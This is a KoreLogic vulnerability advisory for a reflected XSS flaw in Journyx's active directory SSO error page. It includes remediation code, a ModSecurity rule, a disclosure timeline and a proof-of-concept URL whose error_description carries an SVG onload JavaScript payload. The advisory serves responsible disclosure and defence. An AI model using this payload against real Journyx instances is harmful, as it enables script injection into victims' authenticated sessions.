Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
Attackers can craft a malicious link that once clicked will execute arbitrary JavaScript in the context of the Journyx web application.
Technical Description
During the active directory login flow, if an error
occurs, the user is redirected to a page containing
an error message outlining the problem. The error
message shown in the page response is derived from
the error_description query parameter that appears
in the URL. This parameter is not sanitized or validated
prior to being reflected, allowing for an attacker to
insert malicious HTML/JavaScript into the error_description
parameter.
This vulnerability can be exploited regardless of whether active directory authentication has been configured for the Journyx instance.
Mitigation and Remediation Recommendation
The vendor reports that this issue was remediated in Journyx v13.0.0.
For self-hosted instances of JournyX, additional security
measures (such as input sanitization) can be added by monkey
patching the PYC file responsible for handling request
parameters (mycgi.pyc).
- Rename
mycgi.pycto an alternative name, e.g.mycgi_original.pyc.
$ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py
- Create a file named
mycgi.pyin the same directory.
$ touch wt_tar/pi/pylib/wtlib/mycgi.py
- Insert the following code into the newly created
mycgi.py
from mycgi_original import *
from html import escape
def patch():
pdata = _parse()
# force the value of "end_URL" to always be "wte"
if pdata.get('end_URL'): pdata['end_URL'] = ['wte']
# sanitize user-controlled error messages
for parameter in ['error', 'error_description']:
if not pdata.get(parameter): continue
pdata[parameter] = [escape(value) for value in pdata[parameter]]
return pdata
_parse = parse
parse = patch
Once these changes have been made, the JournyX native mycgi.parse()
function will be overwritten with the patch() function located in the
mycgi.py file. Relevant to this advisory, the patch provided above
will replace special characters with their respective HTML entity
representation for the “error” and “error_description” parameters. This
list of parameters can be extended as needed.
Additionally, if SSO is not required, requests to /jtcgi/r/adlogin/sso could be dropped without forwarding invoking FastCGI via a ModSecurity rule like the one below:
SecRule REQUEST_URI "@contains adlogin/sso" "id:4,phase:2,deny,log,auditlog"
Credit
This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.
Proof of Concept
The following URL contains the `error_description`
parameter with a value of `%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E`:
http://redacted.com:8080/jtcgi/r/adlogin/sso?code=1337&state=foobar&id_token=zoinks&error_description=%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E&error=error
This value is automatically URL decoded to `<svg/onload=prompt('KoreLogic')>`
and reflected into the page response:
<div class="errorMessage">
Unable to complete sign-on attempt. This is possibly a configuration error in the application
registration on the Identity Provider (IdP) side. The IdP server said:
<p>
error <b><svg onload="prompt('KoreLogic')"></svg></b>
</p>
</div>
Once this link is clicked or visited in a browser, the
javascript function `prompt()` is executed, and a display
box is presented, thereby validating the execution of
arbitrary JavaScript.
The contents of this advisory are copyright(c) 2024 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy
Disclosure Timeline
KoreLogic notifies Journyx support of the intention to report vulnerabilities discovered in the licensed, on-premises version of the product.
Journyx acknowledges receipt.
KoreLogic requests a meeting with Journyx support to share vulnerability details.
KoreLogic reports vulnerability details to Journyx.
Journyx responds that this vulnerability has been remediated in the cloud-hosted version of the product.
KoreLogic offers to test the cloud version to confirm the fix; no response.
KoreLogic notifies Journyx of impending public disclosure.
Journyx confirms version number of the remediation.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.